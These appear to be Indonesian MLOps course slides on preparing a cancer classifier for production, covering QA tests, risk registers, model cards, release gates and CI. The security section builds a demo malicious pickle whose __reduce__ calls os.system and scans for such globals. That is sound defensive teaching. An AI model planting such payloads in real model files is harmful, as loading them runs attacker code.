# INV — urutan kolom tidak boleh berpengaruh (pyfunc + signature menyusun ulang berdasarkan nama)
pyfunc = mlflow.pyfunc.load_model(model_uri)
same = (pyfunc.predict(X_test[X_test.columns[::-1]]) == y_pred).all()
check("model_qa", "INV: urutan kolom (via signature)", same)

# DIR — tumor diperbesar 20% -> skor malignant tidak boleh turun
bigger = benign.copy()
bigger[["worst area", "worst radius", "worst concave points"]] *= 1.2
dir_ok = (score_of(model, bigger) >= score_of(model, benign)).mean()
check("model_qa", "DIR: tumor membesar -> skor tidak turun", dir_ok >= 0.90)

# Efisiensi — p95 latensi 1 request melalui pyfunc
check("model_qa", "Latensi p95 (1 baris, pyfunc)", p95 <= POLICY["max_p95_latency_ms"])

  ✓ [blocker] DIR: tumor membesar -> skor tidak turun  92% kasus konsisten (min 90%)
  ✓ [blocker] Latensi p95 (1 baris, pyfunc)            11.3 ms (maks 50)

P5: Security — Serialisasi, Pickle Scan, Integritas

fmt = mlmodel["flavors"]["sklearn"].get("serialization_format")   # MLflow 3: "skops"
check("security", "Format serialisasi aman", fmt == "skops", severity="warning")

def scan_pickle(path):            # baca opcode TANPA memuat -> tidak ada kode yang dieksekusi
    for op, arg, _ in pickletools.genops(open(path, "rb")):
        ...                       # kumpulkan GLOBAL / STACK_GLOBAL: os.system, subprocess, eval, ...

manifest = sha256_dir(model_dir)                                   # hash setiap file artefak
digest = hashlib.sha256(json.dumps(manifest, sort_keys=True).encode()).hexdigest()
if "artifact_sha256" not in mv.tags:                               # run pertama: simpan baseline
    client.set_model_version_tag(MODEL_NAME, mv.version, "artifact_sha256", digest)
else:                                                              # run berikutnya: bandingkan
    check("security", "Integritas artefak (SHA-256)", mv.tags["artifact_sha256"] == digest)

skops hanya memuat tipe dalam whitelist. Saat kita menyimpan TunedThresholdClassifierCV:

UntrustedTypesFoundException: ['sklearn.metrics._scorer._Scorer', 'sklearn.model_selection._split.StratifiedKFold', ...]

→ tipe harus di-review lalu ditambahkan eksplisit ke skops_trusted_types — ini fitur keamanan, bukan bug.

P5 Demo: Mendeteksi Pickle Berbahaya

class _Payload:
    def __reduce__(self):
        return (os.system, ("echo 'kode penyerang dijalankan!'",))

pickle.dump({"weights": [0.1, 0.2], "trap": _Payload()}, open("model_dari_internet.pkl", "wb"))
print(scan_pickle("model_dari_internet.pkl"))      # TIDAK pernah di-load

$ python hands_on_production_readiness.py --demo-malicious-pickle
[P5-demo] Deteksi pickle berbahaya (tanpa memuatnya)
  file      : model_dari_internet.pkl
  temuan    : ['posix.system']
  kesimpulan: JANGAN di-load! pickle.load() akan menjalankan perintah shell.

Prinsip yang sama dipakai oleh picklescan / ModelScan dan pemindai di Hugging Face Hub.

P4 + P6: Risk Register & Model Card dari Bukti MLflow

def ok(*names):   # kontrol efektif jika SEMUA pemeriksaan terkait lulus
    rel = [c for c in CHECKS if any(n in c["check"] for n in names)]
    return bool(rel) and all(c["passed"] for c in rel)

register = [("R1", "Tumor ganas terlewat (false negative)", 3, 5, "Recall >= kebijakan ...", ok("Recall test")),
            ("R2", "Performa buruk pada kelompok tumor tertentu", 3, 4, "Uji per slice", ok("Recall slice")),
            ("R4", "Model/artefak dimodifikasi", 2, 5, "SHA-256 + format aman", ok("Integritas", "pickle")), ...]
residual = L * I if not effective else max(1, L - 2) * I
check("risk", "Tidak ada risiko residual tinggi (>=15)", high.empty)

card = f"""# Model Card — {MODEL_NAME} v{mv.version}
## Detail Model ... run `{mv.run_id}`, commit `{tags['mlflow.source.git.commit']}`
## Metrik (test set beku) ... ## Risiko & Mitigasi ({tier}) ... ## Persetujuan ..."""
mlflow.log_text(card, "p6_compliance/model_card.md")
check("compliance", "Persetujuan manusia (human oversight)",
      approver is not None or not tier.startswith("Tier 1"), severity="approval")

Risk register bukan dokumen statis: status kontrolnya diturunkan dari hasil uji P1–P5. Model card dihasilkan otomatis dari metadata MLflow → selalu sinkron dengan model.

P7: Release Gate → Tag & Alias di Registry

decision = "rejected" if blockers else ("pending_approval" if pending else "approved")
mlflow.log_dict(report, "p7_gate/gate_report.json")

for k, v in {"readiness_gate": decision, "gate_run_id": gate_run_id, "risk_tier": tier,
             "qa_status": phase_status("model_qa"), "security_status": phase_status("security"),
             "compliance_status": phase_status("compliance"), "approved_by": approver}.items():
    client.set_model_version_tag(MODEL_NAME, mv.version, k, str(v))     # audit trail

if decision == "approved":
    client.set_registered_model_alias(MODEL_NAME, "previous-champion", champion.version)
    client.set_registered_model_alias(MODEL_NAME, "champion", mv.version)

Mengapa logreg-f2 Lulus? Threshold Tuning

pipe = TunedThresholdClassifierCV(
    Pipeline([("scaler", StandardScaler()), ("clf", LogisticRegression(max_iter=5000))]),
    scoring=make_scorer(fbeta_score, beta=2),             # F2: recall dibobot 2x precision
    cv=StratifiedKFold(n_splits=5, shuffle=True, random_state=42))

• Threshold dipilih dengan CV di data latih — bukan dengan mengintip test set
• Trade-off yang disengaja: sedikit lebih banyak alarm palsu (precision 1.00 → 0.91) demi lebih sedikit kanker terlewat
• Keputusan trade-off ini milik pemilik risiko (dokter/komite) → itulah fungsi --approver

P8: Guarded Serving — “Models from Code”

# guarded_model.py — wrapper TIDAK di-pickle; disimpan sebagai kode sumber yang bisa di-review
class GuardedModel(mlflow.pyfunc.PythonModel):
    def load_context(self, context):
        if sha256_dir(context.artifacts["model"]) != json.load(open(context.artifacts["manifest"])):
            raise RuntimeError("Integritas model gagal")              # artefak diubah setelah gate
        self.model = mlflow.sklearn.load_model(context.artifacts["model"])
    def predict(self, context, model_input, params=None):
        ...  # validasi kontrak -> prediksi -> skor dibulatkan -> requires_review
mlflow.models.set_model(GuardedModel())

# hands_on_production_readiness.py
mlflow.pyfunc.log_model(name="guarded_model", python_model="guarded_model.py",
    artifacts={"model": model_dir, "contract": "guard/contract.json", "manifest": "guard/manifest.json"},
    registered_model_name="bc-malignant-classifier-guarded")

   prediction  score  requires_review                                                      status
0           0    0.0            False                                                          ok
1          -1    NaN             True  rejected: mean radius negatif; mean radius di luar rentang
2          -1    NaN             True                        rejected: worst area di luar rentang
3          -1    NaN             True                                 rejected: mean texture null

Rollback & Audit Trail

$ python hands_on_production_readiness.py --rollback --reason "drift terdeteksi"
[Rollback]
  @champion: v5 -> v1 (alasan: drift terdeteksi)
  ⚠ v1 belum/tidak lulus readiness gate (rejected) -> rollback hanya solusi darurat
  bc-malignant-classifier-guarded: belum ada pembungkus untuk v1 -> alias dihapus.

Rollback = memindahkan alias, bukan men-deploy ulang file → hitungan detik. Tag rollback_reason & rolled_back_at dicatat di versi yang ditarik.

Di MLflow UI → Models → bc-malignant-classifier → Version 5, auditor dapat melihat:

Menjalankan Gate di CI/CD (GitHub Actions)

# .github/workflows/production-readiness.yml
name: production-readiness-gate
on:
  workflow_dispatch:
    inputs:
      approver: { description: "Nama & jabatan pemberi persetujuan (Tier 1)", required: false }
jobs:
  gate:
    runs-on: ubuntu-latest
    environment: production            # GitHub Environment dengan "required reviewers" = human oversight
    env:
      MLFLOW_TRACKING_URI: $
      MLFLOW_TRACKING_TOKEN: $    # jangan hard-code kredensial
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-python@v5
        with: { python-version: "3.11" }
      - run: pip install "mlflow>=3" scikit-learn pandas matplotlib pip-audit bandit
      - name: Static security scan
        run: bandit -r mlo/preparing_for_production -ll
      - name: Production readiness gate (QA + risk + security + compliance)
        working-directory: mlo/preparing_for_production
        env: { APPROVER: "$" }   # input lewat env, BUKAN $ di dalam skrip
        run: |                                         # (mencegah script injection di workflow)
          ARGS=(); [ -n "$APPROVER" ] && ARGS=(--approver "$APPROVER")
          python hands_on_production_readiness.py "${ARGS[@]}"

Script keluar normal pada semua keputusan; untuk CI yang gagal saat REJECTED, tambahkan sys.exit(1) jika decision == "rejected" (latihan).

Latihan Hands-on (Mandiri)

1. Jalankan alur 0 → 3 dan buka MLflow UI. Bandingkan run readiness-v1 dan readiness-v5: artefak apa yang berbeda?
2. Mengapa v1 sudah @champion di Minggu 6 tetapi ditolak di Minggu 7? Apa pelajarannya tentang gate satu metrik?
3. Risiko R2 tetap “kontrol tidak efektif” walau v5 lulus. Telusuri sebabnya (petunjuk: slice tumor_kecil). Apa rekomendasi Anda?
4. Ubah POLICY["min_slice_recall"] menjadi 0.95. Apa yang terjadi? Siapa yang seharusnya berwenang mengubah angka ini?
5. Ubah satu byte file di folder artefak model v5, lalu jalankan ulang gate. Pemeriksaan mana yang menangkapnya?
6. Tambahkan pemeriksaan baru: fairness antar kelompok (misal buat atribut sintetis) dan catat sebagai metrik + check().
7. Buat sys.exit(1) saat REJECTED dan integrasikan ke workflow GitHub Actions.

Latihan Kelompok (30 menit)

Pilih satu kasus: (a) skoring kredit UMKM, (b) deteksi penyakit dari citra rontgen, (c) chatbot layanan akademik berbasis RAG.

Susun dalam 1 halaman:

1. Risk tier dan alasannya (gunakan kriteria impact & otonomi)
2. Risk register minimal 5 risiko (L, I, mitigasi, pemilik)
3. 5 tes QA yang wajib lulus sebelum go-live (sertakan ambang)
4. 3 ancaman keamanan paling relevan + kontrolnya (rujuk OWASP / MITRE ATLAS)
5. Kewajiban UU PDP yang berlaku dan artefak buktinya
6. Strategi rollout & rollback

Presentasi singkat 3 menit per kelompok.

8. Checklist & Ringkasan

Production Readiness Checklist

Anti-Pattern yang Harus Dihindari

Ringkasan

• Preparing for production = jembatan dev → prod: runtime environment, reproducibility, dan release gate.
• QA untuk ML mencakup data, model (slice, fairness, robustness, behavioral), kode, dan online testing — ukur dengan ML Test Score.
• Risk management: model risk = desain salah atau penggunaan salah; nilai likelihood × impact, terapkan risk tiering, mitigasi sepanjang lifecycle (NIST AI RMF).
• Security: ML punya attack surface khas (poisoning, adversarial, extraction, prompt injection, supply chain) → terapkan MLSecOps di setiap tahap.
• Compliance: UU PDP, EU AI Act, ISO/IEC 42001 → diwujudkan sebagai artefak teknis (model card, lineage, log, human oversight).
• Semua kontrol sebaiknya diotomatiskan di CI/CD — fondasi untuk deployment & monitoring (minggu berikutnya) serta governance (Minggu 13).

Referensi

1. Treveil, M. et al. (2020). Introducing MLOps, Bab 5: Preparing for Production. O’Reilly. https://www.oreilly.com/library/view/introducing-mlops/9781492083283/ch05.html
2. Calefato, F., Lanubile, F., & Quaranta, L. (2024). Security Risks and Best Practices of MLOps: A Multivocal Literature Review. ITASEC 2024, CEUR-WS Vol-3731. https://ceur-ws.org/Vol-3731/paper13.pdf
3. Mehta, A., Gabriel, S., & Kumar, A. (2024). Integrating Security into MLOps: A Framework for Risk Mitigation. IARJSET 11(10). https://iarjset.com/wp-content/uploads/2024/11/IARJSET.2024.111025.pdf
4. DSStream. Security for MLOps: How to Safeguard Data, Models, and Pipelines Against Modern AI Threats. https://www.dsstream.com/post/security-for-mlops-how-to-safeguard-data-models-and-pipelines-against-modern-ai-threats
5. CyCognito. AI Security: Risks, Frameworks, and Best Practices. https://www.cycognito.com/learn/ai-security/
6. SANS Institute. SEC411: AI Security Principles and Practices — GenAI and LLM Defense. https://www.sans.org/cyber-security-courses/ai-security-principles-practices
7. Splunk (2026). The CISO Report 2026: From Risk to Resilience in the AI Era. https://www.splunk.com/en_us/form/ciso-report.html
8. Sculley, D. et al. (2015). Hidden Technical Debt in Machine Learning Systems. NeurIPS.
9. Breck, E. et al. (2017). The ML Test Score: A Rubric for ML Production Readiness and Technical Debt Reduction. IEEE Big Data.

Referensi (lanjutan)

1. Ribeiro, M. T. et al. (2020). Beyond Accuracy: Behavioral Testing of NLP Models with CheckList. ACL.
2. Goodfellow, I., Shlens, J., & Szegedy, C. (2015). Explaining and Harnessing Adversarial Examples. ICLR.
3. Mitchell, M. et al. (2019). Model Cards for Model Reporting. FAT*.
4. Gebru, T. et al. (2021). Datasheets for Datasets. Communications of the ACM.
5. NIST (2023). Artificial Intelligence Risk Management Framework (AI RMF 1.0). NIST AI 100-1.
6. Board of Governors of the Federal Reserve System (2011). SR 11-7: Guidance on Model Risk Management.
7. OWASP. Top 10 for LLM Applications 2025 & Machine Learning Security Top 10. https://genai.owasp.org
8. MITRE. ATLAS — Adversarial Threat Landscape for AI Systems. https://atlas.mitre.org
9. Regulation (EU) 2024/1689 — Artificial Intelligence Act.
10. Undang-Undang Republik Indonesia No. 27 Tahun 2022 tentang Pelindungan Data Pribadi.
11. ISO/IEC 42001:2023 AI Management System; ISO/IEC 23894:2023 AI — Guidance on Risk Management.

Terima Kasih

Diskusi & Tanya Jawab

“A model is not ready for production when it is accurate — it is ready when it is tested, secured, accountable, and trusted.”